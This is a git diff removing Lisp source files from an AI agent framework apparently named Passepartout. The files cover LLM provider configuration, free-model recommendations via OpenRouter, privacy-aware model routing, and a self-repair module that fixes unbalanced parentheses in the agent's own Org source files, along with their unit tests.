(fiveam:is (string= "stale-test" (getf item :id)))
(fiveam:is (string= "stale content" (getf item :text))))
;; Clean up
(remhash "stale-test" *memory-store*))))

109
lisp/system-model-explorer.lisp
View File

@@ -1,109 +0,0 @@
(in-package :passepartout)
(defvar *model-cache* (make-hash-table :test 'equal)
"Cache: provider keyword -> (timestamp . model-list)")
(defvar *model-cache-ttl* 300
"Cache TTL in seconds (default 5 min)")
(defun model-explorer-fetch-openrouter ()
"Query OpenRouter /api/v1/models and return parsed model list."
(handler-case
(let* ((raw (dex:get "https://openrouter.ai/api/v1/models" :connect-timeout 10 :read-timeout 20))
(json (cl-json:decode-json-from-string raw))
(data (cdr (assoc :data json))))
(mapcar (lambda (m)
(let ((pricing (cdr (assoc :pricing m))))
(list :id (cdr (assoc :id m))
:name (cdr (assoc :name m))
:context (cdr (assoc :context_length m))
:free (and pricing
(string= "0" (cdr (assoc :prompt pricing)))
(string= "0" (cdr (assoc :completion pricing)))))))
data))
(error (c)
(log-message "MODEL-EXPLORER: OpenRouter API error: ~a" c)
nil)))
(defun model-explorer-fetch (provider)
"Fetch available models for PROVIDER. Returns list of (:id :name :context :free) plists."
(let ((cached (gethash provider *model-cache*)))
(when (and cached (< (- (get-universal-time) (car cached)) *model-cache-ttl*))
(return-from model-explorer-fetch (cdr cached))))
(let ((models (case provider
(:openrouter (model-explorer-fetch-openrouter))
(t nil))))
(when models
(setf (gethash provider *model-cache*)
(cons (get-universal-time) models)))
models))
(defun model-explorer-list-free ()
"Return all free models from cache or fetch."
(remove-if-not (lambda (m) (getf m :free)) (model-explorer-fetch :openrouter)))
(defun model-explorer-recommend (slot)
"Return recommended models for SLOT (:code, :chat, :plan, :background)."
(case slot
(:code
'((:id "qwen/qwen3-coder:free" :name "Qwen3 Coder 480B" :context 262000 :free t :note "Top-tier code MoE, 35B active")
(:id "poolside/laguna-m.1:free" :name "Laguna M.1" :context 131072 :free t :note "Flagship coding agent")
(:id "openai/gpt-oss-120b:free" :name "gpt-oss-120b" :context 131072 :free t :note "117B MoE open-weight coding")))
(:plan
'((:id "openrouter/owl-alpha" :name "Owl Alpha" :context 1048756 :free t :note "Agentic, tool use, reasoning")
(:id "nousresearch/hermes-3-llama-3.1-405b:free" :name "Hermes 3 405B" :context 131072 :free t :note "405B generalist, strong planning")
(:id "minimax/minimax-m2.5:free" :name "MiniMax M2.5" :context 196608 :free t :note "SOTA productivity, long context")))
(:chat
'((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Strong multilingual generalist")
(:id "google/gemma-4-31b-it:free" :name "Gemma 4 31B" :context 262144 :free t :note "Dense 31B, thinking mode, long context")
(:id "mistralai/mistral-nemo:free" :name "Mistral Nemo" :context 32768 :free t :note "Fast, good for casual conversation")))
(:background
'((:id "meta-llama/llama-3.2-3b-instruct:free" :name "Llama 3.2 3B" :context 131072 :free t :note "Small, fast, efficient")
(:id "liquid/lfm-2.5-1.2b-instruct:free" :name "LFM 2.5 1.2B" :context 32768 :free t :note "Ultra-compact, edge-ready")))
(t '((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Safe fallback")))))
(defvar *slot-descriptions*
'((:code . "Code generation, refactoring, debugging. Needs strong reasoning and large context.\nRecommend: Qwen3 Coder (free, 35B active) or Laguna M.1 (coding agent).")
(:chat . "Casual conversation, Q&A, creative writing. Prefer balanced quality, low latency.\nRecommend: Llama 3.3 70B (strong generalist) or Gemma 4 31B (thinking mode).")
(:plan . "Strategic planning, architecture design, complex multi-step reasoning.\nRecommend: Owl Alpha (free, tool use, 1M ctx) or Hermes 3 405B (strongest free reasoning).")
(:background . "Heartbeat summaries, delegation responses, tool output filtering. Must be small + fast.\nRecommend: Llama 3.2 3B (131K ctx, fast) or LFM 2.5 1.2B (edge-ready).")))
;; REPL-verified: 2026-05-04
(eval-when (:compile-toplevel :load-toplevel :execute)
(ignore-errors (ql:quickload :fiveam :silent t)))
(defpackage :passepartout-system-model-explorer-tests
(:use :cl :passepartout)
(:export #:model-explorer-suite))
(in-package :passepartout-system-model-explorer-tests)
(fiveam:def-suite model-explorer-suite :description "Tests for the model explorer skill")
(fiveam:in-suite model-explorer-suite)
(fiveam:test model-explorer-recommend-slots
"Contract 1: recommend returns models for all standard slots."
(dolist (slot '(:code :chat :plan :background))
(let ((recs (passepartout::model-explorer-recommend slot)))
(fiveam:is (listp recs))
(fiveam:is (>= (length recs) 1)))))
(fiveam:test model-explorer-recommend-format
"Contract 1: each recommendation has :id and :name."
(dolist (rec (passepartout::model-explorer-recommend :chat))
(fiveam:is (getf rec :id))
(fiveam:is (getf rec :name))))
(fiveam:test model-explorer-recommend-unknown-slot
"Contract 1: unknown slot returns fallback list."
(let ((recs (passepartout::model-explorer-recommend :unknown)))
(fiveam:is (listp recs))
(fiveam:is (>= (length recs) 1))))
(fiveam:test model-explorer-fetch-openrouter-count
"Contract 2: OpenRouter API returns at least 300 models."
(let ((models (passepartout::model-explorer-fetch :openrouter)))
(if models
(fiveam:is (>= (length models) 300))
(fiveam:skip "API unreachable"))))

141
lisp/system-model-provider.lisp
View File

@@ -1,141 +0,0 @@
(in-package :passepartout)
(defparameter *provider-configs*
'((:local . (:base-url nil :key-env nil :url-env "LOCAL_BASE_URL" :default-model "llama3"))
(:openrouter . (:base-url "https://openrouter.ai/api/v1" :key-env "OPENROUTER_API_KEY" :default-model "openrouter/auto"))
(:openai . (:base-url "https://api.openai.com/v1" :key-env "OPENAI_API_KEY" :default-model "gpt-4o-mini"))
(:anthropic . (:base-url "https://api.anthropic.com/v1" :key-env "ANTHROPIC_API_KEY" :default-model "claude-3-5-sonnet-20241022"))
(:groq . (:base-url "https://api.groq.com/openai/v1" :key-env "GROQ_API_KEY" :default-model "llama-3.1-70b-versatile"))
(:gemini . (:base-url "https://generativelanguage.googleapis.com/v1beta/openai" :key-env "GEMINI_API_KEY" :default-model "gemini-2.0-flash"))
(:deepseek . (:base-url "https://api.deepseek.com/v1" :key-env "DEEPSEEK_API_KEY" :default-model "deepseek-chat"))
(:nvidia . (:base-url "https://integrate.api.nvidia.com/v1" :key-env "NVIDIA_API_KEY" :default-model "meta/llama-3.1-405b-instruct"))))
(defun provider-config (provider)
"Returns the configuration plist for a provider keyword."
(cdr (assoc provider *provider-configs*)))
(defun provider-available-p (provider)
"Checks if a provider is configured. Checks API key or URL env vars."
(let* ((config (provider-config provider))
(key-env (getf config :key-env))
(url-env (getf config :url-env))
(base-url (getf config :base-url)))
(cond (key-env (let ((key (uiop:getenv key-env))) (and key (> (length key) 0))))
(url-env (let ((url (uiop:getenv url-env))) (and url (> (length url) 0))))
(base-url t))))
(defun provider-openai-request (prompt system-prompt &key model (provider :openrouter))
"Executes a request against any OpenAI-compatible API endpoint."
(let* ((config (provider-config provider))
(base-url (getf config :base-url))
(key-env (getf config :key-env))
(url-env (getf config :url-env))
(default-model (getf config :default-model))
(api-key (when key-env (uiop:getenv key-env)))
(model-id (or model default-model))
(url (if url-env
(let ((host (uiop:getenv url-env)))
(if host
(format nil "http://~a/v1/chat/completions" host)
(format nil "~a/chat/completions" base-url)))
(format nil "~a/chat/completions" base-url)))
(timeout (or (ignore-errors
(parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT")))
30))
(headers `(("Content-Type" . "application/json")
,@(when api-key `(("Authorization" . ,(format nil "Bearer ~a" api-key))))
,@(when (eq provider :openrouter)
`(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout")
("X-Title" . "Passepartout")))))
(body (cl-json:encode-json-to-string
`((model . ,model-id)
(messages . (( (role . "system") (content . ,system-prompt) )
( (role . "user") (content . ,prompt) )))))))
(handler-case
(let* ((response (dex:post url :headers headers :content body
:connect-timeout (min 10 timeout)
:read-timeout (max 10 (- timeout 5))))
(json (cl-json:decode-json-from-string response))
(choices (cdr (assoc :choices json)))
(first-choice (car choices))
(message (cdr (assoc :message first-choice)))
(content (cdr (assoc :content message))))
(if content
(list :status :success :content content)
(list :status :error :message (format nil "~a: No content" provider))))
(error (c)
(list :status :error :message (format nil "~a Failure: ~a" provider c))))))
(defun provider-register-all ()
"Scans environment variables and registers all available LLM backends."
(dolist (entry *provider-configs*)
(let ((provider (car entry)))
(when (provider-available-p provider)
(log-message "LLM BACKEND: Registering provider ~a" provider)
(register-probabilistic-backend provider
(lambda (prompt system-prompt &key model)
(provider-openai-request prompt system-prompt :model model :provider provider)))))))
(defun provider-cascade-initialize ()
"Reads PROVIDER_CASCADE from env and sets *provider-cascade*."
(let ((cascade-str (uiop:getenv "PROVIDER_CASCADE")))
(if cascade-str
(setf *provider-cascade*
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword))
(uiop:split-string cascade-str :separator '(#\,))))
(setf *provider-cascade* (mapcar #'car (remove-if (lambda (e)
(member (car e) '(:local)))
*provider-configs*))))))
(defun test-provider-connection (provider &optional api-key)
"Test a provider API key by hitting its models endpoint.
Returns (:ok) on success, (:fail reason) on failure.
If API-KEY is nil, reads from environment."
(let* ((config (provider-config provider))
(base-url (getf config :base-url))
(key-env (getf config :key-env))
(url-env (getf config :url-env))
(key (or api-key (when key-env (uiop:getenv key-env)))))
(handler-case
(let ((url (if url-env
(let ((host (or (uiop:getenv url-env) "")))
(format nil "http://~a/api/tags" host))
(format nil "~a/models" (or base-url "")))))
(if key-env
(progn (dex:get url :headers `(("Authorization" . ,(format nil "Bearer ~a" key)))
:connect-timeout 5 :read-timeout 10)
'(:ok))
(if url-env
(progn (dex:get url :connect-timeout 5 :read-timeout 10) '(:ok))
'(:fail "No URL source for this provider"))))
(error (c) `(:fail ,(format nil "~a" c))))))
(provider-register-all)
(provider-cascade-initialize)
(defskill :passepartout-system-model-provider
:priority 50
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-llm-gateway-tests
(:use :cl :passepartout)
(:export #:llm-gateway-suite))
(in-package :passepartout-llm-gateway-tests)
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
(fiveam:in-suite llm-gateway-suite)
(fiveam:test test-provider-rejects-bad-keyword
"Contract 3: provider-config returns nil for unregistered provider."
(let ((config (provider-config :not-a-real-provider)))
(fiveam:is (null config))))
(fiveam:test test-provider-config-registered
"Contract 1: provider-config returns configuration plist for registered provider."
(let ((config (provider-config :openrouter)))
(fiveam:is (listp config))
(fiveam:is (getf config :base-url))))

90
lisp/system-model-router.lisp
View File

@@ -1,90 +0,0 @@
(in-package :passepartout)
(defvar *model-cascade-code* nil
"Cascade for :code tasks: ((:ollama . \"model\") ...)")
(defvar *model-cascade-plan* nil
"Cascade for :plan tasks.")
(defvar *model-cascade-chat* nil
"Cascade for :chat tasks.")
(defvar *model-cascade-background* nil
"Cascade for background tasks (heartbeat, delegation).")
(defvar *local-backends* '(:ollama :llama-cpp)
"Backend keywords considered local (privacy-safe).")
(defun model-classify-complexity (text)
"Classify TEXT into :code, :plan, or :chat."
(let ((lower (string-downcase text)))
(cond
((or (search "defun" lower) (search "defmacro" lower)
(search "write" lower) (search "refactor" lower)
(search "fix " lower) (search "implement" lower)
(search "code" lower)
(search "#+begin_src" lower))
:code)
((or (search "plan" lower) (search "roadmap" lower)
(search "strategy" lower) (search "design" lower)
(search "architecture" lower))
:plan)
(t :chat))))
(defun model-cascade-find (cascade backend)
"Find first (PROVIDER . MODEL) in CASCADE matching BACKEND."
(assoc backend cascade
:test (lambda (a b) (string-equal (string a) (string b)))))
(defun model-select (backend context)
"Select model for BACKEND given CONTEXT signal.
Returns model name or :skip."
(let* ((payload (getf context :payload))
(text (or (getf payload :text) ""))
(sensor (getf payload :sensor))
(has-personal (and (boundp '*dispatcher-privacy-tags*)
(some (lambda (tag) (search tag text))
(symbol-value '*dispatcher-privacy-tags*))))
(is-local (member backend *local-backends*)))
;; Privacy: skip cloud backends for personal content
(when (and has-personal (not is-local))
(log-message "MODEL-ROUTER: Skipping ~a (personal content)" backend)
(return-from model-select :skip))
;; Quadrant: background tasks use background cascade
(if (member sensor '(:heartbeat :delegation :tool-output :loop-error))
(let ((entry (car (or *model-cascade-background*
'((:ollama . "phi-2"))))))
(cdr entry))
;; Foreground: classify complexity, use slot cascade
(let* ((slot (model-classify-complexity text))
(cascade (case slot
(:code *model-cascade-code*)
(:plan *model-cascade-plan*)
(t *model-cascade-chat*)))
(entry (model-cascade-find
(or cascade '((:ollama . "qwen2.5:14b"))) backend)))
(if entry (cdr entry) nil)))))
(defun model-router-init ()
"Read env vars and wire model-select into *model-selector*."
(flet ((parse-cascade (str)
(when (and str (> (length str) 0))
(let ((*read-eval* nil))
(read-from-string str)))))
(setf *model-cascade-code* (parse-cascade (uiop:getenv "MODEL_CASCADE_CODE"))
*model-cascade-plan* (parse-cascade (uiop:getenv "MODEL_CASCADE_PLAN"))
*model-cascade-chat* (parse-cascade (uiop:getenv "MODEL_CASCADE_CHAT"))
*model-cascade-background* (parse-cascade (uiop:getenv "MODEL_CASCADE_BACKGROUND"))
*local-backends* (let ((env (uiop:getenv "LOCAL_BACKENDS")))
(if env
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword))
(uiop:split-string env :separator '(#\,)))
'(:ollama :llama-cpp)))))
(setf *model-selector* #'model-select)
(log-message "MODEL-ROUTER: Initialized, selector=~a" *model-selector*))
(defskill :passepartout-model-router
:priority 250
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(model-router-init)

16
lisp/system-model.lisp
View File

@@ -1,16 +0,0 @@
(in-package :passepartout)
(defun model-request (&key prompt system-prompt (provider :openrouter) model)
"Central dispatcher for LLM requests."
(let ((backend (gethash provider *probabilistic-backends*)))
(if backend
(handler-case
(funcall backend prompt system-prompt :model model)
(error (c)
(list :status :error :message (format nil "~a Failure: ~a" provider c))))
(list :status :error :message (format nil "Provider ~a not registered" provider)))))
(defskill :passepartout-system-model
:priority 100
:trigger (lambda (ctx) (getf ctx :user-input))
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))

198
lisp/system-self-improve.lisp
View File

@@ -1,198 +0,0 @@
(defun org-tangle-file (filepath)
"Tangles an Org file's lisp blocks to its :tangle target, compiles, and loads."
(let ((content (uiop:read-file-string filepath))
(tangle-path nil)
(lisp-lines nil)
(in-block nil))
(dolist (line (uiop:split-string content :separator '(#\Newline)))
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
(cond
((and (null tangle-path)
(search "#+PROPERTY:" trimmed)
(search ":tangle" trimmed))
(let* ((parts (uiop:split-string trimmed :separator '(#\Space)))
(target (car (last parts)))
(org-dir (make-pathname :directory (pathname-directory filepath))))
(when (and target (not (string-equal target "no")))
(setf tangle-path
(if (char= (aref target 0) #\/)
(uiop:parse-unix-namestring target)
(uiop:parse-unix-namestring
(format nil "~a/~a" (namestring org-dir) target)))))))
((search "#+begin_src lisp" trimmed)
(setf in-block t))
((search "#+end_src" trimmed)
(setf in-block nil)
(let ((before (search "#+end_src" line)))
(when (and before (> before 0))
(push (subseq line 0 before) lisp-lines))))
(in-block
(push line lisp-lines)))))
(when (and tangle-path lisp-lines)
(setf lisp-lines (nreverse lisp-lines))
(ensure-directories-exist tangle-path)
(with-open-file (f tangle-path :direction :output :if-exists :supersede)
(format f "~{~a~%~}" lisp-lines))
(let ((compiled (compile-file tangle-path)))
(when compiled
(load compiled)
(list :tangled (namestring tangle-path) :compiled t))))))
(defun org-extract-lisp-blocks (content)
"Extracts all #+begin_src lisp blocks from Org CONTENT as a list of strings."
(let ((blocks nil)
(in-block nil)
(current nil))
(dolist (line (uiop:split-string content :separator '(#\Newline)))
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
(cond
((search "#+begin_src lisp" trimmed)
(setf in-block t current nil))
((search "#+end_src" trimmed)
(when in-block
(let ((before (search "#+end_src" line)))
(when (and before (> before 0))
(push (subseq line 0 before) current)))
(push (format nil "~{~a~%~}" (nreverse current)) blocks)
(setf in-block nil current nil)))
(in-block
(push line current)))))
(nreverse blocks)))
(defun self-improve-edit (filepath old-text new-text)
"Surgical text replacement with tangle+reload for Org source files."
(when (or (null filepath) (null old-text) (null new-text))
(return-from self-improve-edit
(list :status :error :reason "Missing arguments")))
(when (not (uiop:file-exists-p filepath))
(return-from self-improve-edit
(list :status :error :reason (format nil "File not found: ~a" filepath))))
(log-message "SELF-IMPROVE: Editing ~a (~d chars)" filepath (length old-text))
(ignore-errors
(when (fboundp 'snapshot-memory)
(snapshot-memory)))
(let* ((content (uiop:read-file-string filepath))
(pos (search old-text content)))
(if pos
(let* ((new-content (concatenate 'string
(subseq content 0 pos)
new-text
(subseq content (+ pos (length old-text)))))
(ext (pathname-type filepath)))
(with-open-file (f filepath :direction :output :if-exists :supersede)
(write-sequence new-content f))
(let ((re-read (uiop:read-file-string filepath)))
(if (search new-text re-read :test 'string=)
(let ((tangle-result
(when (string-equal ext "org")
(ignore-errors (org-tangle-file filepath)))))
(list :status :success
:summary (format nil "Replaced ~d chars in ~a"
(length old-text) filepath)
:tangle tangle-result))
(list :status :error :reason "Verification failed"))))
(list :status :error :reason
(format nil "Text not found in ~a" filepath)))))
(defun self-improve-balance-parens (code)
"Returns balanced code or nil if already balanced."
(handler-case
(progn
(let ((*read-eval* nil))
(with-input-from-string (s code)
(loop for form = (read s nil :eof) until (eq form :eof)))
(values))
nil)
(error ()
(let* ((opens (loop for ch across code count (char= ch #\()))
(closes (loop for ch across code count (char= ch #\))))
(missing (- opens closes)))
(when (plusp missing)
(concatenate 'string code
(make-string missing :initial-element #\))))))))
(defun self-improve-repair-syntax (skill-name)
"Find and fix unbalanced parens in a skill's Org source file."
(let* ((data-dir (uiop:ensure-directory-pathname
(or (uiop:getenv "PASSEPARTOUT_DATA_DIR")
(merge-pathnames ".local/share/passepartout/"
(user-homedir-pathname)))))
(org-path (merge-pathnames (format nil "org/~a.org" skill-name) data-dir)))
(unless (uiop:file-exists-p org-path)
(return-from self-improve-repair-syntax
(list :status :error :reason (format nil "Source not found: ~a" skill-name)
:repaired nil)))
(let* ((content (uiop:read-file-string org-path))
(blocks (org-extract-lisp-blocks content))
(fixed 0) (result content))
(dolist (block blocks)
(let ((balanced (self-improve-balance-parens block)))
(when (and balanced (not (string= block balanced)))
(let ((pos (search block result)))
(when pos
(setf result (concatenate 'string
(subseq result 0 pos)
balanced
(subseq result (+ pos (length block))))
fixed (1+ fixed)))))))
(if (> fixed 0)
(progn
(with-open-file (f org-path :direction :output :if-exists :supersede)
(write-sequence result f))
(let ((tangle-result (org-tangle-file org-path)))
(list :status :success
:action (format nil "Fixed ~d block(s) in ~a" fixed skill-name)
:repaired t :tangle tangle-result)))
(list :status :error
:reason (format nil "No unbalanced blocks in ~a" skill-name)
:repaired nil)))))
(defun self-improve-fix (skill-name error-log)
"Diagnoses and attempts to repair a failing skill."
(when (or (null skill-name) (null error-log))
(return-from self-improve-fix
(list :status :error :reason "Missing arguments: skill-name and error-log required")))
(log-message "SELF-IMPROVE: Diagnosing ~a..." skill-name)
(let* ((log-str (if (stringp error-log) error-log (format nil "~a" error-log)))
(diagnosis nil)
(extracted-type nil))
(cond
((search "Reader Error" log-str :test 'char-equal)
(setf extracted-type :syntax-error
diagnosis (list :type :syntax-error
:detail "Reader Error (likely unbalanced parentheses)"
:log log-str)))
((search "Undefined" log-str :test 'char-equal)
(setf extracted-type :undefined-symbol
diagnosis (list :type :undefined-symbol
:detail "Undefined symbol or missing dependency"
:log log-str)))
((search "PACKAGE" log-str :test 'char-equal)
(setf extracted-type :package-error
diagnosis (list :type :package-error
:detail "Package resolution error"
:log log-str)))
(t
(setf extracted-type :unknown
diagnosis (list :type :unknown
:detail (format nil "Unrecognized error: ~a"
(subseq log-str 0 (min 200 (length log-str))))
:log log-str))))
(log-message "SELF-IMPROVE: Diagnosed ~a as ~a" skill-name extracted-type)
(let ((repair-result
(when (eql extracted-type :syntax-error)
(self-improve-repair-syntax skill-name))))
(if (and repair-result (getf repair-result :repaired))
(progn
(log-message "SELF-IMPROVE: Successfully repaired ~a" skill-name)
repair-result)
(list :status :error
:reason (format nil "Diagnosis for ~a: ~a" skill-name
(getf diagnosis :detail))
:diagnosis diagnosis
:repaired nil)))))
(defskill :passepartout-system-self-improve
:priority 100
:trigger (lambda (ctx) (member (getf ctx :type) '(:LOG :EVENT)))
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))

Some files were not shown because too many files have changed in this diff Show More